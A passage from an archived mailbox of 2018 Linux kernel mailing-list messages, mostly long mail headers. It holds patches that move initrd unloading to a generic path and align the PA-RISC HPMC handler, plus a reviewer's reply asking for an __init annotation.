+++ b/arch/openrisc/mm/init.c
@@ -222,13 +222,6 @@ void __init mem_init(void)
 	return;
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void free_initmem(void)
 {
 	free_initmem_default(-1);
-- 
2.16.2

From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 14/16] powerpc: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:56 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20180324174458.26423-15-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521913477 17909 195.159.176.226 (24 Mar 2018 17:44:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:37 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
 uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@lists.linux-m68k.org,
 nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
 linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 linux-riscv@lists.infradead.org, linux-sh@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Mar 24 18:44:32 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1eznDS-0004Xi-4T
	for gla-linux-snps-arc@m.gmane.org; Sat, 24 Mar 2018 18:44:30 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=KQHkvJlIyd7RJjLH90pzPvvn7CYjQCWYd+Rmkd1jTIY=; b=bv5SvVi8B2+g5BBtfbHTb9Umfv
	L491qfM5ZI5TllpXZDxdy81UFrBhabGl4eRIORkGLVC4vM4QRKnDJ5NTuU6+b47UXvZUBs3yt6tOf
	BslPz3EJzh2CBA9tC2VerHTdJcL1nicEU2BSckpl0zQ+/mXlGI+HanbBAAfsTufsQO7nhyQCp4y9R
	Syhujew88csS+WvOYl23Iv02SYv0R9NwSqIMQJZn/hgPWkoAz9n3rTgr8kdsVOKAj3NRfdgbrj8rN
	YJGsvsvnGlme1paI/ZzMbCG7kxCZaLErfR1CD6YF/g9MGQpJ2YBdoM5SJoILXcf/pmWGBS6ck/82j
	zZ3IDQkw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1eznFU-0004nu-UA; Sat, 24 Mar 2018 17:46:36 +0000
Original-Received: from smtprelay0213.hostedemail.com ([216.40.44.213]
 helo=smtprelay.hostedemail.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1eznFH-0004W5-0d; Sat, 24 Mar 2018 17:46:26 +0000
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net
 [216.40.38.60])
 by smtprelay08.hostedemail.com (Postfix) with ESMTP id D8C49182CED2A;
 Sat, 24 Mar 2018 17:46:11 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2, 0, 0, , d41d8cd98f00b204, , :::::::::::::::::::::::::::,
 RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3352:3865:3871:3872:4250:4321:4385:5007:6119:6261:6737:7903:9592:10004:10848:11026:11473:11658:11914:12043:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:14877:21080:21450:21627:30054:30089,
 0,
 RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,
 CacheIP:none, Bayesian:0.5, 0.5, 0.5, Netcheck:none, DomainCache:0,
 MSF:not bulk, SPF:ff, MSBL:0, DNSBL:neutral, Custom_rules:0:0:0, LFtime:1,
 LUA_SUMMARY:none
X-HE-Tag: water71_531850144072d
X-Filterd-Recvd-Size: 2221
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
 (Authenticated sender: shea@shealevy.com)
 by omf13.hostedemail.com (Postfix) with ESMTPA;
 Sat, 24 Mar 2018 17:46:10 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180324_104623_525319_14C5BBC3 
X-CRM114-Status: UNSURE (   5.78  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: 2.5 (++)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (2.5 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [216.40.44.213 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 2.5 SUSPICIOUS_RECIPS      Similar addresses in recipient list
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3643 gmane.linux.ports.alpha:4853 gmane.linux.kernel:2724527 gmane.linux.ports.parisc:28387 gmane.linux.ports.ppc64.devel:155006 gmane.linux.ports.sh.devel:56710 gmane.linux.uml.devel:16684
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3643>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/powerpc/Kconfig  | 1 +
 arch/powerpc/mm/mem.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 73ce5dd07642..8cf384068e79 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -223,6 +223,7 @@ config PPC
 	select HAVE_SYSCALL_TRACEPOINTS
 	select HAVE_VIRT_CPU_ACCOUNTING
 	select HAVE_IRQ_TIME_ACCOUNTING
+	select INITRAMFS_GENERIC_UNLOAD
 	select IRQ_DOMAIN
 	select IRQ_FORCED_THREADING
 	select MODULES_USE_ELF_RELA
diff --git a/arch/powerpc/mm/mem.c b/arch/powerpc/mm/mem.c
index fe8c61149fb8..e85b2a3cd264 100644
--- a/arch/powerpc/mm/mem.c
+++ b/arch/powerpc/mm/mem.c
@@ -404,13 +404,6 @@ void free_initmem(void)
 	free_initmem_default(POISON_FREE_INITMEM);
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 /*
  * This is called when a page has been modified by the kernel.
  * It just marks the page as not i-cache clean.  We do the i-cache
-- 
2.16.2

From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: [RFC][PATCH v2] Fix HPMC handler by increasing size to multiple
 of 16 bytes
Date: Sat, 24 Mar 2018 21:18:25 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20180324201825.GA22115@ls3530.fritz.box>
References: <CA+QBN9DxM5PYCnPJCRtgxQ8xGk75=jAtsE+VibUfFOv+Yah6Og@mail.gmail.com>
 <CA+QBN9D9vUA7Q=Sd=moi+bSAkQjGQ6nGa8wnb1=7qHudAY8L8g@mail.gmail.com>
 <20180317113655.GA30572@ls3530.fritz.box>
 <81f118a7-5bc5-c6b2-eb10-a9c683c72a26@bell.net>
 <20180319222353.GA28132@ls3530.fritz.box>
 <a189ed45-af4b-e6cc-db2c-ce50fa706c72@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1521922618 19492 195.159.176.226 (24 Mar 2018 20:16:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 20:16:58 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: debian-hppa@lists.debian.org
To: John David Anglin <dave.anglin@bell.net>, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sat Mar 24 21:16:54 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ezpav-0004zl-Uv
	for debian-hppa@m.gmane.org; Sat, 24 Mar 2018 21:16:54 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id A1EB52EA; Sat, 24 Mar 2018 20:19:01 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sat Mar 24 20:19:01 2018
Old-Return-Path: <deller@gmx.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 4A1B42E9
	for <lists-debian-hppa@bendel.debian.org>; Sat, 24 Mar 2018 20:18:53 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-5.079 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DIGITS_LETTERS=1, FOURLA=0.1, FREEMAIL_FROM=0.001,
	LDO_WHITELIST=-5, MURPHY_DRUGS_REL8=0.02, RCVD_IN_DNSWL_LOW=-0.7,
	RCVD_IN_SORBS_WEB=1.5] autolearn=no autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id T_VYvXYj3wx9 for <lists-debian-hppa@bendel.debian.org>;
	Sat, 24 Mar 2018 20:18:48 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.17.20])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 960902D1
	for <debian-hppa@lists.debian.org>; Sat, 24 Mar 2018 20:18:36 +0000 (UTC)
Original-Received: from ls3530.fritz.box ([88.130.68.188]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MJXEd-1f1lQl2oUF-0033Ea; Sat, 24
 Mar 2018 21:18:28 +0100
Content-Disposition: inline
In-Reply-To: <a189ed45-af4b-e6cc-db2c-ce50fa706c72@bell.net>
X-Provags-ID: V03:K0:5hk0TFsQjC6EWk5oY5Bd3Pjqyp9dWJ3l3Eq+uW4y+wasVdeNvjh
 zTsQa5uMrChB6BZX5TfGBnPJLOgPPFMXIOk5MD80UMZBz/NsINkiuOy9peV/nZdXd9BMneC
 DdTpVwCLtN1Cn/39Anm9PvlWbB1q3gb4bauJMSdsDVdfBSc81XRKmLLdGhP/p/dkgc/dB/B
 G8MlGd8X/o5Wy6VO7Ss5w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:88BOOzswe5M=:cYv92CxC03vcmnw1Qlja7T
 bpqa4qm/NjIRpLEwXswuJXMRUDq/fUrBQzF8nDLsL6Fa7DZSyYGMuYrjYvJFlzZv/ST6vQJ3T
 In7cr4vQ8LrOP+KLPZdblUuLDIaRnUbjLpt/WRlsr39h/ya0ehMtYwOREBS+0BSRKhMkKZapH
 yvAVQtk+yPX014uwQnp7fh3oigQirZ+FYwqsuOV7YCCPP56+lR35aBd4NukBgFMDaHMXqNI1+
 QhYyn+GSeUxYsp4/CEClERbV9BFybUBA84n/6N7MJj0r90ffwBEWumzwKQTP5NLGbq46Bh2bt
 3JJNCB668wfyno8oIc0AcdqCUTcAZbI7dDTy5kt1N2jzPYylhfu0QKMm3CSzLf39FhiUknpM7
 KaWBozi/Hja3NOEQYYHrI19f5OfZomTQpBtYCOxsBbHa+wbv7ESXDSIx7ZFdZBN0xkEMYhpHo
 0yZ1k51tR4vK+AkyI55nNVInVb7DS1K0jkWKsySLmU+2VIBjX8HP8bRy25pnyvMAV/WUxP+Qf
 VgncuEOr6RxQwHvdi2YLrvQqvQFE+AlXzQ26doVEitWqsuXKRjdFqwFkymeMNzvHizrQ1j7OL
 EBAV/E4xYQeRLzrEcdn/6OU75KmcoyKUw3G37LUefsCaElXsw8+nhpU9MCrmsaAdigvpbJZbU
 XIb5aePA74WdAQE6PN0vZIFOUmIrrcOWrECEND/i9bPov6shVNj3N70Fa8HBw2YsekqwZpZWL
 FM302CKxEjv0lM4UwfLduoCzrLCp4tFtqpWlBqf5xXwtLFoiZzegpaj00ztRTflDa4UcLZ6q 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <nQZjHoxRDIP.A.oQF.1KrtaB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8689
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/20180324201825.GA22115@ls3530.fritz.box
Resent-Date: Sat, 24 Mar 2018 20:19:01 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7705 gmane.linux.ports.parisc:28388
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7705>

Make sure that the HPMC (High Priority Machine Check) handler is 16-byte
aligned and that it's length in the IVT is a multiple of 16 bytes.
Otherwise PDC may decide not to call the HPMC crash handler.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org

diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
index 8d072c44f300..781c3b9a3e46 100644
--- a/arch/parisc/kernel/hpmc.S
+++ b/arch/parisc/kernel/hpmc.S
@@ -84,6 +84,7 @@ END(hpmc_pim_data)
 	.text
 
 	.import intr_save, code
+	.align 16
 ENTRY_CFI(os_hpmc)
 .os_hpmc:
 
@@ -300,12 +301,15 @@ os_hpmc_6:
 
 	b .
 	nop
+	.align 16	/* make function length multiple of 16 bytes */
 ENDPROC_CFI(os_hpmc)
 .os_hpmc_end:
 
 
 	__INITRODATA
+.globl os_hpmc_size
 	.align 4
-	.export os_hpmc_size
+	.type   os_hpmc_size, @object
+	.size   os_hpmc_size, 4
 os_hpmc_size:
 	.word .os_hpmc_end-.os_hpmc



From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: LEROY Christophe <christophe.leroy@c-s.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.uml.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.kernel.arc,gmane.linux.ports.alpha
Subject: Re: [PATCH 01/16] initrd: Add generic code path for common initrd
 unloading logic.
Date: Sun, 25 Mar 2018 19:17:40 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20180325191740.Horde.Cymi0yr0xcQQV1s42wkNkg2@messagerie.si.c-s.fr>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180324174458.26423-2-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed; DelSp=Yes
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1521998157 27625 195.159.176.226 (25 Mar 2018 17:15:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 17:15:57 +0000 (UTC)
User-Agent: Internet Messaging Program (IMP) H5 (6.2.3)
Cc: user-mode-linux-devel@lists.sourceforge.net,
        linux-sh@vger.kernel.org, linux-riscv@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        openrisc@lists.librecores.org, nios2-dev@lists.rocketboards.org,
        linux-m68k@lists.linux-m68k.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-c6x-dev@linux-c6x.org,
        linux-snps-arc@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org
To: Shea Levy <shea@shealevy.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Mar 25 19:15:52 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f09FH-00073r-Ho
	for glk-linux-kernel-4@m.gmane.org; Sun, 25 Mar 2018 19:15:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753846AbeCYRR4 convert rfc822-to-8bit (ORCPT
        <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 13:17:56 -0400
Original-Received: from pegase1.c-s.fr ([93.17.236.30]:52231 "EHLO pegase1.c-s.fr"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753729AbeCYRRw (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 13:17:52 -0400
Original-Received: from localhost (mailhub1-int [192.168.12.234])
        by localhost (Postfix) with ESMTP id 408P965hNxz9ttKj;
        Sun, 25 Mar 2018 19:17:30 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at c-s.fr
Original-Received: from pegase1.c-s.fr ([192.168.12.234])
        by localhost (pegase1.c-s.fr [192.168.12.234]) (amavisd-new, port 10024)
        with ESMTP id DC3n19D98ku0; Sun, 25 Mar 2018 19:17:30 +0200 (CEST)
Original-Received: from vm-hermes.si.c-s.fr (vm-hermes.si.c-s.fr [192.168.25.253])
        by pegase1.c-s.fr (Postfix) with ESMTP id 408P964F6yz9ttBl;
        Sun, 25 Mar 2018 19:17:30 +0200 (CEST)
Original-Received: by vm-hermes.si.c-s.fr (Postfix, from userid 33)
        id C7A33564; Sun, 25 Mar 2018 19:17:40 +0200 (CEST)
Original-Received: from 37.173.209.158 ([37.173.209.158]) by messagerie.si.c-s.fr
 (Horde Framework) with HTTP; Sun, 25 Mar 2018 19:17:40 +0200
In-Reply-To: <20180324174458.26423-2-shea@shealevy.com>
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724766 gmane.linux.uml.devel:16685 gmane.linux.ports.sh.devel:56711 gmane.linux.ports.ppc64.devel:155013 gmane.linux.ports.parisc:28389 gmane.linux.kernel.arc:3644 gmane.linux.ports.alpha:4854
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724766>

Shea Levy <shea@shealevy.com> a écrit :

> Signed-off-by: Shea Levy <shea@shealevy.com>
> ---
>  init/initramfs.c | 7 +++++++
>  usr/Kconfig      | 4 ++++
>  2 files changed, 11 insertions(+)
>
> diff --git a/init/initramfs.c b/init/initramfs.c
> index 7e99a0038942..de5ce873eb5a 100644
> --- a/init/initramfs.c
> +++ b/init/initramfs.c
> @@ -526,6 +526,13 @@ extern unsigned long __initramfs_size;
>  #include <linux/initrd.h>
>  #include <linux/kexec.h>
>
> +#ifdef CONFIG_INITRAMFS_GENERIC_UNLOAD
> +void free_initrd_mem(unsigned long start, unsigned long end)
> +{
> +       free_reserved_area((void *)start, (void *)end, -1, "initrd");
> +}
> +#endif

In powerpc this was an __init function. Why not also put the generic  
one in __init section ?

Christophe


> +
>  static void __init free_initrd(void)
>  {
>  #ifdef CONFIG_KEXEC_CORE
> diff --git a/usr/Kconfig b/usr/Kconfig
> index 43658b8a975e..fd79d4d6fa26 100644
> --- a/usr/Kconfig
> +++ b/usr/Kconfig
> @@ -233,3 +233,7 @@ config INITRAMFS_COMPRESSION
>  	default ".lzma" if RD_LZMA
>  	default ".bz2"  if RD_BZIP2
>  	default ""
> +
> +# Arches can select this for a generic initrd unloading codepath
> +config INITRAMFS_GENERIC_UNLOAD
> +	bool
> --
> 2.16.2




From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.openipmi,gmane.linux.ports.parisc
Subject: [PATCH] ipmi/parisc: Add IPMI chassis poweroff
 for certain HP PA-RISC servers
Date: Sat, 24 Mar 2018 20:45:04 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20180324194504.GA10210@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522007873 16434 195.159.176.226 (25 Mar 2018 19:57:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 19:57:53 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: linux-parisc@vger.kernel.org, Corey Minyard <minyard@acm.org>,
 openipmi-developer@lists.sourceforge.net,
 James Bottomley <James.Bottomley@HansenPartnership.com>,
 John David Anglin <dave.anglin@bell.net>
Original-X-From: openipmi-developer-bounces@lists.sourceforge.net Sun Mar 25 21:57:49 2018
Return-path: <openipmi-developer-bounces@lists.sourceforge.net>
Envelope-to: glko-openipmi-developer@m.gmane.org
Original-Received: from lists.sourceforge.net ([216.105.38.7])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <openipmi-developer-bounces@lists.sourceforge.net>)
	id 1f0Blz-0004Av-VT
	for glko-openipmi-developer@m.gmane.org; Sun, 25 Mar 2018 21:57:48 +0200
Original-Received: from [127.0.0.1] (helo=sfs-ml-2.v29.lw.sourceforge.com)
	by sfs-ml-2.v29.lw.sourceforge.com with esmtp (Exim 4.90_1)
	(envelope-from <openipmi-developer-bounces@lists.sourceforge.net>)
	id 1f0Bo1-0004aP-4i; Sun, 25 Mar 2018 19:59:53 +0000
Original-Received: from [172.30.20.202] (helo=mx.sourceforge.net)
 by sfs-ml-1.v29.lw.sourceforge.com with esmtps
 (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256) (Exim 4.90_1)
 (envelope-from <deller@gmx.de>) id 1ezp6T-0004Pc-8Y
 for openipmi-developer@lists.sourceforge.net; Sat, 24 Mar 2018 19:45:25 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=sourceforge.net; s=x; h=Content-Type:MIME-Version:Message-ID:Subject:To:
 From:Date:Sender:Reply-To:Cc:Content-Transfer-Encoding:Content-ID:
 Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
 :Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:
 List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=0Snnjxlo3TjCKoC2ADX2QB5gp+HA1XnxXKN4GgBoD6w=; b=UGKF51ZidMaeD/FGA6Sd27DmM/
 i9FbO9j6mDkV9W79HAE/Ix7Z8Q0yleVUJD8orv2AwgtK4R+oBSEQGwlsXvXz+p1qO3aFDOqDQ6cxQ
 EJxvKKcL7Won5Cbo916ddbb/mpuCio7t6RYnxz0Yhb5qNNTm1N7WzGni3YCTjayS916g=;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=sf.net; s=x
 ;
 h=Content-Type:MIME-Version:Message-ID:Subject:To:From:Date:Sender:Reply-To
 :Cc:Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:
 References:List-Id:List-Help:List-Unsubscribe:List-Subscribe:List-Post:
 List-Owner:List-Archive; bh=0Snnjxlo3TjCKoC2ADX2QB5gp+HA1XnxXKN4GgBoD6w=; b=T
 vNXVSbCFWXWOzqD48CFORIZOe831tE2rZUahR5LrwG5HINk6phT7D+YHqoWYkt6mQsodzmWCop0YA
 zMZczcHUw1Xf5dS2gJgQBJ6HoM82GnEH1xUGrBjVUVFEW1MuXzT954gzoVqv2xisffTkARbEfVhRX
 2MZ+5xHnIFVGvPgQ=;
Original-Received: from sfi-lb-mx.v20.lw.sourceforge.com ([172.30.20.201]
 helo=mout.gmx.net) by sfi-mx-1.v28.lw.sourceforge.com with esmtps
 (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128) (Exim 4.90_1)
 id 1ezp6R-00H8V7-63
 for openipmi-developer@lists.sourceforge.net; Sat, 24 Mar 2018 19:45:25 +0000
Original-Received: from ls3530.fritz.box ([88.130.68.188]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LoJDJ-1eOZXm366b-00gDmO; Sat, 24
 Mar 2018 20:45:07 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:ROduEwLaLYlF0TNbUarKWy+RNtrgLiHJGwMHgAVECYFXNnAjzj1
 5IEXpxT01tMcjrb3xZRDCiTQk6I9upJFA9sb9QMxN6BbdLeAv/qorHihWWh5DT++oMC6QVu
 E0PoJB/IYO5eBbrZuSBfMkBcovvEzwR7kCWVIYrNbShEnUXo7Yc4IRU66jPdP/ZnjmJTyDu
 Y6G8HaAxFYkaqRSZ8zdsQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:FDUnCjWu268=:TaQGSKNKKy7E+aaIzHra9R
 j/YBpE2fvhM7yDAwLwYEb0d9BY7IyVi4QOUNP1qKCWsmRTufg2qltf0ot5NTfEy2LgB4GD6Ji
 MIpfsyunKBfKPX8lhoTqTZKnXqAUPL0mLRTjPgQN9ynvfhTfbeQhqLahk/pLxg0nHNvTnCLZS
 XgRPtIOT771cBRxjbWnlmcInAmIBi+uElkZavxOwnGyzhKvNzVdn8/hdAc5LmObgswZAFQ+KX
 yv0rwCFzvWqRVBRiZpDNuD4bXB+R7GlPQSs079ajmYgNSLMU6RV5B5mLwoWnxQ9VJ9N7S9nXF
 PlD51VprMAVIbGChbg1xQsd6QORuxFm7cBtYopS5eNDSKDGBlHrIYThhCQUXrgbMm+nrjvAgQ
